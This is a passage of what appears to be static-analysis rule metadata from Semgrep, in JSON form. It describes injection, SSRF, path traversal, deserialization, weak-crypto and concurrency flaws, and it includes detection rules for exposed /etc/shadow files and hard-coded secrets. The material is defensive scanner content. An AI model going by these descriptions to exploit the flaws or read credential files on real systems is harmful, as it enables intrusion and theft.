system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.db.sqlobject-flask.sqlobject-flask)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://sqlobject.org/SQLBuilder.html](https://sqlobject.org/SQLBuilder.html)\n - [https://sqlobject.org/SQLObject.html](https://sqlobject.org/SQLObject.html)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection."},"helpUri":"https://semgrep.dev/r/python.flask.db.sqlobject-flask.sqlobject-flask","id":"python.flask.db.sqlobject-flask.sqlobject-flask","name":"python.flask.db.sqlobject-flask.sqlobject-flask","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.db.sqlobject-flask.sqlobject-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Missing mutex unlock (`$T` variable) before returning from a function.  This could result in panics resulting from double lock operations"},"help":{"markdown":"Missing mutex unlock (`$T` variable) before returning from a function.  This could result in panics resulting from double lock operations\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.go.missing-unlock-before-return.missing-unlock-before-return)\n - [https://pkg.go.dev/sync#Mutex](https://pkg.go.dev/sync#Mutex)\n - [https://blog.trailofbits.com/2020/06/09/how-to-check-if-a-mutex-is-locked-in-go/](https://blog.trailofbits.com/2020/06/09/how-to-check-if-a-mutex-is-locked-in-go/)\n","text":"Missing mutex unlock (`$T` variable) before returning from a function.  This could result in panics resulting from double lock operations"},"helpUri":"https://semgrep.dev/r/trailofbits.go.missing-unlock-before-return.missing-unlock-before-return","id":"trailofbits.go.missing-unlock-before-return.missing-unlock-before-return","name":"trailofbits.go.missing-unlock-before-return.missing-unlock-before-return","properties":{"precision":"very-high","tags":["CWE-667: Improper Locking","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.go.missing-unlock-before-return.missing-unlock-before-return"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted user input in {url: ...} can result in Open Redirect vulnerability."},"help":{"markdown":"Untrusted user input in {url: ...} can result in Open Redirect vulnerability.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.nestjs.security.audit.nestjs-open-redirect.nestjs-open-redirect)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Untrusted user input in {url: ...} can result in Open Redirect vulnerability."},"helpUri":"https://semgrep.dev/r/typescript.nestjs.security.audit.nestjs-open-redirect.nestjs-open-redirect","id":"typescript.nestjs.security.audit.nestjs-open-redirect.nestjs-open-redirect","name":"typescript.nestjs.security.audit.nestjs-open-redirect.nestjs-open-redirect","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.nestjs.security.audit.nestjs-open-redirect.nestjs-open-redirect"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Generic Secret detected"},"help":{"markdown":"Generic Secret detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-generic-secret.detected-generic-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Generic Secret detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-generic-secret.detected-generic-secret","id":"generic.secrets.security.detected-generic-secret.detected-generic-secret","name":"generic.secrets.security.detected-generic-secret.detected-generic-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-generic-secret.detected-generic-secret"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS. If this wasn't intentional, it's recommended to set the Secure flag to true so the cookie will always be sent over HTTPS. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `True` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag to False on a case-by-case basis only when necessary."},"help":{"markdown":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS. If this wasn't intentional, it's recommended to set the Secure flag to true so the cookie will always be sent over HTTPS. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `True` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag to False on a case-by-case basis only when necessary.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.web.flask-cookie-secure-false.flask-cookie-secure-false)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS. If this wasn't intentional, it's recommended to set the Secure flag to true so the cookie will always be sent over HTTPS. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `True` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag to False on a case-by-case basis only when necessary."},"helpUri":"https://semgrep.dev/r/python.flask.web.flask-cookie-secure-false.flask-cookie-secure-false","id":"python.flask.web.flask-cookie-secure-false.flask-cookie-secure-false","name":"python.flask.web.flask-cookie-secure-false.flask-cookie-secure-false","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.web.flask-cookie-secure-false.flask-cookie-secure-false"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the `phantom` page methods it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `phantom` page methods it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.phantom.security.audit.phantom-injection.phantom-injection)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"If unverified user data can reach the `phantom` page methods it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.phantom.security.audit.phantom-injection.phantom-injection","id":"javascript.phantom.security.audit.phantom-injection.phantom-injection","name":"javascript.phantom.security.audit.phantom-injection.phantom-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.phantom.security.audit.phantom-injection.phantom-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.file.tainted-shelve-fastapi.tainted-shelve-fastapi)\n - [https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://fastapi.tiangolo.com/tutorial/path-params/#path-parameters-containing-paths](https://fastapi.tiangolo.com/tutorial/path-params/#path-parameters-containing-paths)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.fastapi.file.tainted-shelve-fastapi.tainted-shelve-fastapi","id":"python.fastapi.file.tainted-shelve-fastapi.tainted-shelve-fastapi","name":"python.fastapi.file.tainted-shelve-fastapi.tainted-shelve-fastapi","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.file.tainted-shelve-fastapi.tainted-shelve-fastapi"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.nosqli.mongodb-taint-grpc.mongodb-taint-grpc)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.nosqli.mongodb-taint-grpc.mongodb-taint-grpc","id":"csharp.dotnet-core.nosqli.mongodb-taint-grpc.mongodb-taint-grpc","name":"csharp.dotnet-core.nosqli.mongodb-taint-grpc.mongodb-taint-grpc","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.nosqli.mongodb-taint-grpc.mongodb-taint-grpc"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The function `$FUN` does not impose any size limitation to what it writes to `$BUF`. That may lead to a stack buffer overflow if there is no validation on the size of the input."},"help":{"markdown":"The function `$FUN` does not impose any size limitation to what it writes to `$BUF`. That may lead to a stack buffer overflow if there is no validation on the size of the input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.strings.unbounded-copy-to-stack-buffer.unbounded-copy-to-stack-buffer)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR31-C.+Guarantee+that+storage+for+strings+has+sufficient+space+for+character+data+and+the+null+terminator](https://wiki.sei.cmu.edu/confluence/display/c/STR31-C.+Guarantee+that+storage+for+strings+has+sufficient+space+for+character+data+and+the+null+terminator)\n","text":"The function `$FUN` does not impose any size limitation to what it writes to `$BUF`. That may lead to a stack buffer overflow if there is no validation on the size of the input."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.strings.unbounded-copy-to-stack-buffer.unbounded-copy-to-stack-buffer","id":"cpp.lang.security.strings.unbounded-copy-to-stack-buffer.unbounded-copy-to-stack-buffer","name":"cpp.lang.security.strings.unbounded-copy-to-stack-buffer.unbounded-copy-to-stack-buffer","properties":{"precision":"very-high","tags":["CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.strings.unbounded-copy-to-stack-buffer.unbounded-copy-to-stack-buffer"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Avoid using `#$variable` and use `$variable` in `sql\"...\"` strings instead."},"help":{"markdown":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Avoid using `#$variable` and use `$variable` in `sql\"...\"` strings instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.slick.security.scala-slick-sql-non-literal.scala-slick-sql-non-literal)\n - [https://scala-slick.org/doc/3.3.3/sql.html#splicing-literal-values](https://scala-slick.org/doc/3.3.3/sql.html#splicing-literal-values)\n","text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Avoid using `#$variable` and use `$variable` in `sql\"...\"` strings instead."},"helpUri":"https://semgrep.dev/r/scala.slick.security.scala-slick-sql-non-literal.scala-slick-sql-non-literal","id":"scala.slick.security.scala-slick-sql-non-literal.scala-slick-sql-non-literal","name":"scala.slick.security.scala-slick-sql-non-literal.scala-slick-sql-non-literal","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: scala.slick.security.scala-slick-sql-non-literal.scala-slick-sql-non-literal"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.deserialization.tainted-torch-pickle-flask.tainted-torch-pickle-flask)\n - [https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/](https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/;](https://davidhamann.de/2020/04/05/exploiting-python-pickle/;)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://pytorch.org/docs/stable/_modules/torch/distributed/distributed_c10d.html#broadcast_object_list:~:text=.BytesIO()-,_pickler,-(f)](https://pytorch.org/docs/stable/_modules/torch/distributed/distributed_c10d.html#broadcast_object_list:~:text=.BytesIO()-,_pickler,-(f))\n - [https://pytorch.org/docs/stable/generated/torch.load.html](https://pytorch.org/docs/stable/generated/torch.load.html)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources."},"helpUri":"https://semgrep.dev/r/python.flask.deserialization.tainted-torch-pickle-flask.tainted-torch-pickle-flask","id":"python.flask.deserialization.tainted-torch-pickle-flask.tainted-torch-pickle-flask","name":"python.flask.deserialization.tainted-torch-pickle-flask.tainted-torch-pickle-flask","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.deserialization.tainted-torch-pickle-flask.tainted-torch-pickle-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"linux shadow file detected"},"help":{"markdown":"linux shadow file detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-etc-shadow.detected-etc-shadow)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"linux shadow file detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-etc-shadow.detected-etc-shadow","id":"generic.secrets.security.detected-etc-shadow.detected-etc-shadow","name":"generic.secrets.security.detected-etc-shadow.detected-etc-shadow","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-etc-shadow.detected-etc-shadow"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an LDAP query, which can allow attackers to run arbitrary LDAP queries. If an LDAP query must contain untrusted input then it must be escaped."},"help":{"markdown":"Untrusted input might be used to build an LDAP query, which can allow attackers to run arbitrary LDAP queries. If an LDAP query must contain untrusted input then it must be escaped.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.ldap.ldap-injection-dn.ldap-injection-dn)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems](https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems)\n","text":"Untrusted input might be used to build an LDAP query, which can allow attackers to run arbitrary LDAP queries. If an LDAP query must contain untrusted input then it must be escaped."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.ldap.ldap-injection-dn.ldap-injection-dn","id":"cpp.lang.security.ldap.ldap-injection-dn.ldap-injection-dn","name":"cpp.lang.security.ldap.ldap-injection-dn.ldap-injection-dn","properties":{"precision":"very-high","tags":["CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.ldap.ldap-injection-dn.ldap-injection-dn"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Use of RSA-$BITS, which is considered weak. Based on NIST standards, RSA keys should be at least 2048 bits."},"help":{"markdown":"Use of RSA-$BITS, which is considered weak. Based on NIST standards, RSA keys should be at least 2048 bits.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.typescript.node.security.node-rsa-weak-key.node-rsa-weak-key)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#algorithms](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#algorithms)\n","text":"Use of RSA-$BITS, which is considered weak. Based on NIST standards, RSA keys should be at least 2048 bits."},"helpUri":"https://semgrep.dev/r/typescript.typescript.node.security.node-rsa-weak-key.node-rsa-weak-key","id":"typescript.typescript.node.security.node-rsa-weak-key.node-rsa-weak-key","name":"typescript.typescript.node.security.node-rsa-weak-key.node-rsa-weak-key","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.typescript.node.security.node-rsa-weak-key.node-rsa-weak-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Use of Blowfish was detected. Blowfish uses a 64-bit block size that  makes it vulnerable to birthday attacks, and is therefore considered non-compliant.  Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"help":{"markdown":"Use of Blowfish was detected. Blowfish uses a 64-bit block size that  makes it vulnerable to birthday attacks, and is therefore considered non-compliant.  Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-blowfish.use-of-blowfish)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html](https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html)\n","text":"Use of Blowfish was detected. Blowfish uses a 64-bit block size that  makes it vulnerable to birthday attacks, and is therefore considered non-compliant.  Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-blowfish.use-of-blowfish","id":"java.lang.security.audit.crypto.use-of-blowfish.use-of-blowfish","name":"java.lang.security.audit.crypto.use-of-blowfish.use-of-blowfish","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.use-of-blowfish.use-of-blowfish"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"An insecure SSL context was detected. TLS versions 1.0, 1.1, and all SSL versions are considered weak encryption and are deprecated. Use SSLContext.getInstance(\"TLSv1.2\") for the best security."},"help":{"markdown":"An insecure SSL context was detected. TLS versions 1.0, 1.1, and all SSL versions are considered weak encryption and are deprecated. Use SSLContext.getInstance(\"TLSv1.2\") for the best security.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.weak-ssl-context.weak-ssl-context)\n - [https://tools.ietf.org/html/rfc7568](https://tools.ietf.org/html/rfc7568)\n - [https://tools.ietf.org/id/draft-ietf-tls-oldversions-deprecate-02.html](https://tools.ietf.org/id/draft-ietf-tls-oldversions-deprecate-02.html)\n","text":"An insecure SSL context was detected. TLS versions 1.0, 1.1, and all SSL versions are considered weak encryption and are deprecated. Use SSLContext.getInstance(\"TLSv1.2\") for the best security."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.weak-ssl-context.weak-ssl-context","id":"java.lang.security.audit.weak-ssl-context.weak-ssl-context","name":"java.lang.security.audit.weak-ssl-context.weak-ssl-context","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.weak-ssl-context.weak-ssl-context"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"CodeClimate detected"},"help":{"markdown":"CodeClimate detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-codeclimate.detected-codeclimate)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"CodeClimate detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-codeclimate.detected-codeclimate","id":"generic.secrets.security.detected-codeclimate.detected-codeclimate","name":"generic.secrets.security.detected-codeclimate.detected-codeclimate","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-codeclimate.detected-codeclimate"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. Starting from `ruamel.yaml` version 0.15.0 the default loader (`typ='rt'`) is a direct derivative of the safe loader. Before this version, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. Starting from `ruamel.yaml` version 0.15.0 the default loader (`typ='rt'`) is a direct derivative of the safe loader. Before this version, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-ruamel-aws-lambda.tainted-ruamel-aws-lambda)\n - [https://cwe.mitre.org/data/definitions/502.html](https://cwe.mitre.org/data/definitions/502.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://nvd.nist.gov/vuln/detail/CVE-2017-18342](https://nvd.nist.gov/vuln/detail/CVE-2017-18342)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://yaml.readthedocs.io/en/latest/api/](https://yaml.readthedocs.io/en/latest/api/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. Starting from `ruamel.yaml` version 0.15.0 the default loader (`typ='rt'`) is a direct derivative of the safe loader. Before this version, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-ruamel-aws-lambda.tainted-ruamel-aws-lambda","id":"python.aws-lambda.deserialization.tainted-ruamel-aws-lambda.tainted-ruamel-aws-lambda","name":"python.aws-lambda.deserialization.tainted-ruamel-aws-lambda.tainted-ruamel-aws-lambda","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.deserialization.tainted-ruamel-aws-lambda.tainted-ruamel-aws-lambda"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input entering a method which executes a system command. This could result in a command injection vulnerability, which allows an attacker to inject an arbitrary system command onto the server. The attacker could download malware onto or steal data from the server. Instead, use ProcessBuilder, separating the command into individual arguments, like this: `new ProcessBuilder(\"ls\", \"-al\", targetDirectory)`. Further, make sure you hardcode or allowlist the actual command so that attackers can't run arbitrary commands."},"help":{"markdown":"Detected user input entering a method which executes a system command. This could result in a command injection vulnerability, which allows an attacker to inject an arbitrary system command onto the server. The attacker could download malware onto or steal data from the server. Instead, use ProcessBuilder, separating the command into individual arguments, like this: `new ProcessBuilder(\"ls\", \"-al\", targetDirectory)`. Further, make sure you hardcode or allowlist the actual command so that attackers can't run arbitrary commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.injection.tainted-system-command.tainted-system-command)\n - [https://www.stackhawk.com/blog/command-injection-java/](https://www.stackhawk.com/blog/command-injection-java/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html)\n - 